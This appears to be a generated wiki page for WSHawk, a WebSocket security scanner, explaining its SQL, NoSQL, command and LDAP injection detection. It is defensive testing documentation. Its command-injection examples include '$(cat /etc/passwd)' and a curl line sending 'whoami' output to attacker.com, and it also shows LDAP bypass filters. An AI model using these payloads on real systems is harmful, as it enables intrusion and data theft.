Injection Vulnerabilities

Injection Vulnerabilities

The following files were used as context for generating this wiki page:

Purpose and Scope

This page documents WSHawk's detection capabilities for injection vulnerabilities in WebSocket communications, specifically:

  • SQL Injection - database query manipulation
  • NoSQL Injection - NoSQL database query manipulation
  • Command Injection - operating system command execution
  • LDAP Injection - LDAP filter manipulation

For other vulnerability types, see:

  • Cross-Site Scripting (XSS): 4.3
  • XXE and SSRF: 4.4
  • Path Traversal and SSTI: 4.5

WSHawk employs a multi-layered approach combining static payload databases (22,000+ vectors), context-aware generation, automated verification, and server fingerprinting to detect injection vulnerabilities with high confidence.


Payload Management System

WSPayloads Class

The WSPayloads class provides lazy-loaded access to categorized payload collections stored in external text files. Each payload type is loaded on-demand and cached for performance.

Architecture:

graph TB
    subgraph "Payload Storage"
        SQL["sql_injection.txt<br/>SQL payloads"]
        NoSQL["nosql_injection.txt<br/>NoSQL payloads"]
        CMD["command_injection.txt<br/>Command payloads"]
        LDAP["ldap_injection.txt<br/>LDAP payloads"]
    end
    
    subgraph "WSPayloads Class"
        LoadFn["load_payloads(filename)<br/>Lines 70-102"]
        Cache["_payloads_cache<br/>Dict cache<br/>Line 67"]
        GetSQL["get_sql_injection()<br/>Line 105"]
        GetNoSQL["get_nosql_injection()<br/>Line 117"]
        GetCmd["get_command_injection()<br/>Line 113"]
        GetLDAP["get_ldap_injection()<br/>Line 125"]
    end
    
    subgraph "Importlib Resources"
        Imp39["Python 3.9+ files()"]
        Imp38["Python 3.8 read_text()"]
        Fallback["Filesystem fallback"]
    end
    
    GetSQL --> LoadFn
    GetNoSQL --> LoadFn
    GetCmd --> LoadFn
    GetLDAP --> LoadFn
    
    LoadFn --> Cache
    LoadFn --> Imp39
    LoadFn --> Imp38
    LoadFn --> Fallback
    
    Imp39 --> SQL
    Imp38 --> SQL
    Fallback --> SQL
    
    Imp39 --> NoSQL
    Imp39 --> CMD
    Imp39 --> LDAP

Sources: wshawk/main.py:61-142

Payload Loading Mechanism

The loader supports three access methods to ensure compatibility across installation types:

| Method | Scenario | Implementation | |--------|----------|----------------| | importlib.resources.files() | Python 3.9+ pip install | Lines 78-82 | | importlib.resources.read_text() | Python 3.8 pip install | Lines 85-87 | | Filesystem path | Development/source install | Lines 90-92 |

The cache dictionary _payloads_cache prevents redundant file reads during multi-test scans.

Sources: wshawk/main.py:70-102

Payload File Structure

Each payload file contains one payload per line with UTF-8 encoding. Empty lines and whitespace are automatically stripped:

# Example structure:
payloads = [line.strip() for line in f if line.strip()]

Sources: wshawk/main.py:92-94


SQL Injection Detection

Detection Flow

graph LR
    subgraph "Payload Source"
        Static["WSPayloads.get_sql_injection()<br/>22,000+ vectors"]
        Fingerprint["ServerFingerprinter<br/>Database-specific payloads"]
    end
    
    subgraph "Injection Phase"
        GetBase["Get base message<br/>from learning phase"]
        Inject["MessageAnalyzer.inject_payload_into_message()<br/>Inject into JSON fields"]
        Send["Send via ResilientSession<br/>Rate-limited"]
    end
    
    subgraph "Verification Phase"
        Response["Collect response"]
        Verify["VulnerabilityVerifier.verify_sql_injection()<br/>Pattern matching"]
        ConfLevel["ConfidenceLevel<br/>LOW/MEDIUM/HIGH/CRITICAL"]
    end
    
    subgraph "Smart Evolution"
        Feedback["FeedbackLoop.analyze_response()<br/>Signal detection"]
        Evolver["PayloadEvolver.update_fitness()<br/>Seed successful payloads"]
    end
    
    Static --> GetBase
    Fingerprint --> GetBase
    GetBase --> Inject
    Inject --> Send
    Send --> Response
    Response --> Verify
    Verify --> ConfLevel
    Response --> Feedback
    ConfLevel --> Evolver
    Feedback --> Evolver

Sources: wshawk/scanner_v2.py:177-256

Legacy SQL Injection Detection

The legacy scanner in __main__.py uses a simpler pattern-matching approach:

Test Method: test_sql_injection() 347-397

Process:

  1. Load subset of payloads based on max_payloads limit
  2. Wrap payload in JSON structure: {"query": payload, "action": "search"}
  3. Send and await response with 5-second timeout
  4. Check for SQL error indicators

Error Indicators:

sql_errors = [
    'sql syntax', 'mysql', 'postgresql', 'sqlite',
    'syntax error', 'unclosed quotation', 'quoted string',
    'database error', 'sql error'
]

Sources: wshawk/main.py:347-397

Enhanced SQL Injection Detection (V2)

The v2 scanner adds automated verification and context-aware injection:

Test Method: test_sql_injection_v2() 177-256

Key Enhancements:

| Feature | Description | Code Reference | |---------|-------------|----------------| | Server Fingerprinting | Selects database-specific payloads (MySQL, PostgreSQL, etc.) | Lines 187-192 | | Automated Injection | Uses MessageAnalyzer to inject into detected JSON fields | Lines 200-205 | | Confidence Scoring | Returns LOW/MEDIUM/HIGH/CRITICAL based on multiple indicators | Lines 216-218 | | Smart Feedback | Feeds responses to FeedbackLoop for payload evolution | Lines 221-225 | | Payload Seeding | Seeds successful payloads into PayloadEvolver | Lines 232-234 |

Verification Logic:

The VulnerabilityVerifier.verify_sql_injection() method analyzes responses for:

  • Error messages containing database names
  • SQL syntax error patterns
  • Stack traces revealing database layer
  • Timing anomalies (for blind SQL injection)

Sources: wshawk/scanner_v2.py:177-256

Database-Specific Payloads

When the ServerFingerprinter detects a database type, WSHawk prioritizes matching payloads:

fingerprint = self.fingerprinter.fingerprint()
if fingerprint.database:
    recommended = self.fingerprinter.get_recommended_payloads(fingerprint)
    if recommended.get('sql'):
        Logger.info(f"Using {fingerprint.database}-specific payloads")
        payloads = recommended['sql'] + payloads[:50]

Sources: wshawk/scanner_v2.py:187-192


NoSQL Injection Detection

Detection Architecture

graph TB
    subgraph "Payload Generation"
        Static["WSPayloads.get_nosql_injection()<br/>NoSQL operators"]
        JSON["JSON object payloads<br/>{\"$ne\": 1}<br/>{\"$gt\": \"\"}"]
    end
    
    subgraph "Injection Strategy"
        Wrap["Wrap in query structure<br/>{\"query\": {\"username\": payload}}"]
        Send["send_and_receive()<br/>2s timeout"]
    end
    
    subgraph "Detection Indicators"
        MongoDB["mongodb<br/>bson"]
        CouchDB["couchdb"]
        Redis["redis"]
        Errors["query error<br/>$ne, $gt"]
    end
    
    Static --> Wrap
    JSON --> Wrap
    Wrap --> Send
    Send --> MongoDB
    Send --> CouchDB
    Send --> Redis
    Send --> Errors

Sources: wshawk/scanner_v2.py:506-544, wshawk/main.py:499-539

Test Implementation

Legacy Method: test_nosql_injection() 499-539

Process:

  1. Load NoSQL-specific payloads (operators like $ne, $gt, $regex)
  2. Construct JSON query: {"query": payload, "action": "find"}
  3. Send with 0.1s rate limiting
  4. Check response for NoSQL indicators

Indicators:

nosql_indicators = ['mongodb', 'syntax error', 'bson', 'couchdb', 'redis']

V2 Enhanced Method: test_nosql_injection_v2() 506-544

Adds:

  • Query object injection: {"action": "find_user", "query": {"username": payload}}
  • Additional error patterns: '$ne', '$gt', 'Query Error'
  • HIGH confidence scoring for detected vulnerabilities

Sources: wshawk/scanner_v2.py:506-544, wshawk/main.py:499-539


Command Injection Detection

Detection Flow with Timing Analysis

graph TB
    subgraph "Payload Types"
        Shell["Shell metacharacters<br/>; | & $()"]
        Sleep["Timing payloads<br/>; sleep 5 #"]
        Output["Output commands<br/>; id #<br/>; whoami #"]
    end
    
    subgraph "Platform Detection"
        FP["ServerFingerprinter<br/>Detect OS/Language"]
        Linux["Linux payloads<br/>; whoami"]
        Windows["Windows payloads<br/>& whoami"]
        Node["Node.js specific<br/>require('child_process')"]
    end
    
    subgraph "Execution Detection"
        Send["Send with timestamp<br/>start_time = time.time()"]
        Recv["Receive with 10s timeout"]
        Calc["elapsed = end - start"]
        Indicators["Output indicators<br/>root:, uid=, gid="]
        Timing["Timing check<br/>elapsed > 4s"]
    end
    
    Shell --> Send
    Sleep --> Send
    Output --> Send
    
    FP --> Linux
    FP --> Windows
    FP --> Node
    
    Linux --> Send
    Windows --> Send
    Node --> Send
    
    Send --> Recv
    Recv --> Calc
    Recv --> Indicators
    Calc --> Timing

Sources: wshawk/scanner_v2.py:343-407, wshawk/main.py:440-497

Legacy Command Injection Detection

Test Method: test_command_injection() 440-497

Dual Detection Strategy:

  1. Output-Based Detection

    • Looks for command execution output in response
    • Indicators: 'root:', 'uid=', 'gid=', 'bin/bash', 'cmd.exe'
  2. Timing-Based Detection

    • Detects sleep command execution via response delay
    • Triggers vulnerability if elapsed > 4 seconds for sleep payloads

Implementation:

start_time = time.time()
response = await self.send_and_receive(ws, message, timeout=10)
elapsed = time.time() - start_time

if 'sleep' in payload.lower() and elapsed > 4:
    # Timing-based command injection confirmed

Sources: wshawk/main.py:440-497

Enhanced Command Injection Detection (V2)

Test Method: test_command_injection_v2() 343-407

Enhancements:

| Feature | Description | Implementation | |---------|-------------|----------------| | Platform-Specific Payloads | Uses ServerFingerprinter to load OS/language-specific commands | Lines 353-358 | | Automated Verification | VulnerabilityVerifier.verify_command_injection() with confidence scoring | Lines 380-382 | | Context Injection | Injects into appropriate JSON fields via MessageAnalyzer | Lines 364-369 |

Example Platform-Specific Payload Selection:

fingerprint = self.fingerprinter.fingerprint()
if fingerprint.language:
    recommended = self.fingerprinter.get_recommended_payloads(fingerprint)
    if recommended.get('command'):
        Logger.info(f"Using {fingerprint.language}-specific command payloads")
        payloads = recommended['command'] + payloads[:50]

Sources: wshawk/scanner_v2.py:343-407

Command Injection Payload Examples

Common payload patterns include:

  • Unix/Linux: ; whoami, | id, $(cat /etc/passwd)
  • Windows: & whoami, | dir, && ipconfig
  • Timing: ; sleep 5 #, & timeout 5 &
  • Blind: ; curl http://attacker.com?data=$(whoami) #

Sources: wshawk/payloads/command_injection.txt


LDAP Injection Detection

Detection Strategy

graph LR
    subgraph "Payload Patterns"
        Wildcard["Wildcard bypass<br/>*<br/>*)(uid=*)"]
        LogicManip["Logic manipulation<br/>)(|(uid=*"]
        NullByte["Null byte<br/>admin%00"]
    end
    
    subgraph "Injection Context"
        Filter["LDAP filter field<br/>{\"filter\": payload, \"action\": \"search\"}"]
        Send["send_and_receive()"]
    end
    
    subgraph "Response Analysis"
        Indicators["LDAP indicators<br/>ldap, directory, dn:, cn="]
        Confidence["HIGH confidence<br/>if indicators present"]
    end
    
    Wildcard --> Filter
    LogicManip --> Filter
    NullByte --> Filter
    
    Filter --> Send
    Send --> Indicators
    Indicators --> Confidence

Sources: wshawk/main.py:541-581

Test Implementation

Test Method: test_ldap_injection() 541-581

Process:

  1. Load LDAP-specific payloads
  2. Wrap in JSON structure: {"filter": payload, "action": "search"}
  3. Send with 0.1s rate limiting
  4. Check response for LDAP-specific strings

Detection Indicators:

ldap_indicators = ['ldap', 'directory', 'dn:', 'cn=']

These indicators suggest:

  • LDAP error messages exposed
  • Directory information leaked
  • Distinguished Names (DN) visible
  • Common Names (CN) returned

Severity: HIGH - LDAP injection can expose directory information, bypass authentication, or escalate privileges.

Sources: wshawk/main.py:541-581


Verification Architecture

VulnerabilityVerifier Class

The VulnerabilityVerifier provides automated, confidence-scored vulnerability detection across all injection types.

graph TB
    subgraph "VulnerabilityVerifier Methods"
        VerifySQL["verify_sql_injection(response, payload)<br/>Returns: is_vuln, confidence, description"]
        VerifyCmd["verify_command_injection(response, payload)"]
        VerifyPath["verify_path_traversal(response, payload)"]
    end
    
    subgraph "Analysis Logic"
        PatternMatch["Pattern matching<br/>Error strings, keywords"]
        ContextAnalysis["Context analysis<br/>Reflection vs execution"]
        TimingCheck["Timing analysis<br/>For blind injection"]
    end
    
    subgraph "Confidence Levels"
        LOW["LOW<br/>Possible reflection"]
        MEDIUM["MEDIUM<br/>Error indicators"]
        HIGH["HIGH<br/>Execution confirmed"]
        CRITICAL["CRITICAL<br/>Browser verified"]
    end
    
    VerifySQL --> PatternMatch
    VerifyCmd --> PatternMatch
    VerifyPath --> PatternMatch
    
    PatternMatch --> ContextAnalysis
    PatternMatch --> TimingCheck
    
    ContextAnalysis --> LOW
    ContextAnalysis --> MEDIUM
    ContextAnalysis --> HIGH
    ContextAnalysis --> CRITICAL

Sources: wshawk/vulnerability_verifier.py

Confidence Level System

The ConfidenceLevel enum defines four tiers:

| Level | Criteria | Example | |-------|----------|---------| | LOW | Payload reflected but no execution signs | Payload echoed in error message | | MEDIUM | Suspicious behavior or error patterns | "SQL syntax error" message | | HIGH | Strong execution indicators | uid=0(root) in response | | CRITICAL | Confirmed execution via advanced verification | Browser XSS execution, OAST callback |

Usage in V2 Scanner:

is_vuln, confidence, description = self.verifier.verify_sql_injection(
    response, payload
)

if is_vuln and confidence != ConfidenceLevel.LOW:
    self.vulnerabilities.append({
        'type': 'SQL Injection',
        'severity': confidence.value,
        'confidence': confidence.value,
        'description': description,
        'payload': payload,
        'recommendation': 'Use parameterized queries'
    })

Sources: wshawk/scanner_v2.py:216-244


Smart Payload Generation for Injection

Context-Aware Generation

The Smart Payload Evolution system adapts injection payloads based on learned message structure and response analysis.

graph TB
    subgraph "Learning Phase"
        Sample["Collect sample messages<br/>5-10 seconds"]
        Analyze["MessageAnalyzer.learn_from_messages()<br/>Detect format, fields"]
        Context["ContextAwareGenerator.learn_from_message()<br/>Build context model"]
    end
    
    subgraph "Payload Evolution"
        Seed["PayloadEvolver.seed()<br/>Successful payloads"]
        Mutate["Crossover & mutation<br/>Genetic algorithm"]
        Evolve["PayloadEvolver.evolve()<br/>Generate variants"]
    end
    
    subgraph "Feedback Loop"
        SendPayload["Send evolved payload"]
        Response["Receive response"]
        AnalyzeResp["FeedbackLoop.analyze_response()<br/>Detect signals"]
        Fitness["update_fitness(payload, score)<br/>Reward successful"]
    end
    
    subgraph "Injection Types"
        SQL["SQL injection variants"]
        CMD["Command injection variants"]
        NoSQL["NoSQL injection variants"]
    end
    
    Sample --> Analyze
    Analyze --> Context
    Context --> Seed
    
    Seed --> Mutate
    Mutate --> Evolve
    Evolve --> SQL
    Evolve --> CMD
    Evolve --> NoSQL
    
    SQL --> SendPayload
    CMD --> SendPayload
    NoSQL --> SendPayload
    
    SendPayload --> Response
    Response --> AnalyzeResp
    AnalyzeResp --> Fitness
    Fitness --> Mutate

Sources: wshawk/scanner_v2.py:637-703, wshawk/smart_payloads/

Payload Evolution Process

Initialization:

self.context_generator = ContextAwareGenerator()
self.feedback_loop = FeedbackLoop()
self.payload_evolver = PayloadEvolver(population_size=100)

Evolution Trigger: When use_smart_payloads=True, the scanner runs an evolution phase after standard tests:

  1. Seed Population: Successful payloads from standard tests seed the evolver
  2. Generate Variants: Genetic algorithms produce mutations and crossovers
  3. Context Payloads: ContextAwareGenerator produces field-specific payloads
  4. Test Evolved: Test 30+ evolved payloads against target
  5. Update Fitness: Successful variants receive high fitness scores

Code Reference:

if self.use_smart_payloads and len(self.payload_evolver.population) > 0:
    Logger.info("Running evolved payload phase...")
    evolved = self.payload_evolver.evolve(count=30)
    
    priorities = self.feedback_loop.get_priority_categories()
    for category, _ in priorities[:3]:
        ctx_payloads = self.context_generator.generate_payloads(category, count=10)
        evolved.extend(ctx_payloads)

Sources: wshawk/scanner_v2.py:638-646

Feedback Signal Analysis

The FeedbackLoop analyzes responses to identify promising payload directions:

Signals Detected:

  • ERROR_TRIGGERED: Database/system error messages
  • REFLECTION_DETECTED: Payload reflected in response
  • TIMING_ANOMALY: Response time significantly different from baseline
  • SIZE_CHANGE: Response size deviation
  • EXECUTION_SUSPECTED: Strong execution indicators

Each signal adjusts payload fitness scores, guiding evolution toward more effective variants.

Sources: wshawk/smart_payloads/feedback_loop.py


Integration with Verification Modules

Message Analyzer Integration

The MessageAnalyzer enables intelligent payload injection into discovered message fields:

Field Detection:

  1. During learning phase, analyzer identifies JSON structure and field names
  2. Stores injectable fields like "query", "username", "cmd", etc.
  3. For each payload, generates multiple injection variants

Injection Example:

if self.learning_complete and self.message_analyzer.detected_format == MessageFormat.JSON:
    injected_messages = self.message_analyzer.inject_payload_into_message(
        base_message, payload
    )
else:
    injected_messages = [payload]

This produces variants like:

  • {"query": "<PAYLOAD>", "action": "search"}
  • {"username": "<PAYLOAD>", "password": "test"}
  • {"cmd": "<PAYLOAD>", "action": "execute"}

Sources: wshawk/scanner_v2.py:200-205

Server Fingerprinting Integration

The ServerFingerprinter identifies backend technologies to prioritize relevant payloads:

Detection Capabilities:

  • Database type (MySQL, PostgreSQL, MongoDB, etc.)
  • Language/framework (Node.js, Python, PHP, Java)
  • Server software (Express, Flask, Spring)

Payload Optimization:

fingerprint = self.fingerprinter.fingerprint()
if fingerprint.database:
    recommended = self.fingerprinter.get_recommended_payloads(fingerprint)
    if recommended.get('sql'):
        payloads = recommended['sql'] + payloads[:50]

Sources: wshawk/scanner_v2.py:187-192, wshawk/server_fingerprint.py


Rate Limiting and Resilience

All injection tests integrate with the ResilientSession and TokenBucketRateLimiter to ensure stable, production-safe scanning:

Rate Limiting:

await self.rate_limiter.acquire()  # Blocks if rate limit exceeded
await ws.send(message)

Configurable Limits:

  • Default: 10 requests/second
  • Configurable via --rate CLI flag or scanner.rate_limit config
  • Adaptive mode adjusts based on server response times

Resilience Features:

  • Exponential backoff on transient errors
  • Circuit breaker prevents overwhelming targets
  • Automatic reconnection on connection loss

For details, see Resilience Control Architecture.

Sources: wshawk/scanner_v2.py:560-561, wshawk/rate_limiter.py


Summary: Injection Detection Matrix

| Injection Type | Payload Count | Detection Method | Advanced Features | |----------------|---------------|------------------|-------------------| | SQL Injection | 22,000+ | Error patterns, database fingerprinting | Database-specific payloads, timing attacks | | NoSQL Injection | 500+ | Operator detection, query errors | JSON object injection, MongoDB-specific | | Command Injection | 1,000+ | Output indicators, timing-based | Platform-specific (Linux/Windows), blind detection | | LDAP Injection | 200+ | Directory indicators, filter errors | Wildcard bypass, logic manipulation |

All injection tests benefit from:

  • Automated confidence scoring (LOW/MEDIUM/HIGH/CRITICAL)
  • Context-aware injection into detected message fields
  • Smart payload evolution with genetic algorithms
  • Rate limiting and resilience controls
  • Integration with verification modules (MessageAnalyzer, VulnerabilityVerifier, ServerFingerprinter)

Sources: wshawk/main.py:61-663, wshawk/scanner_v2.py:177-544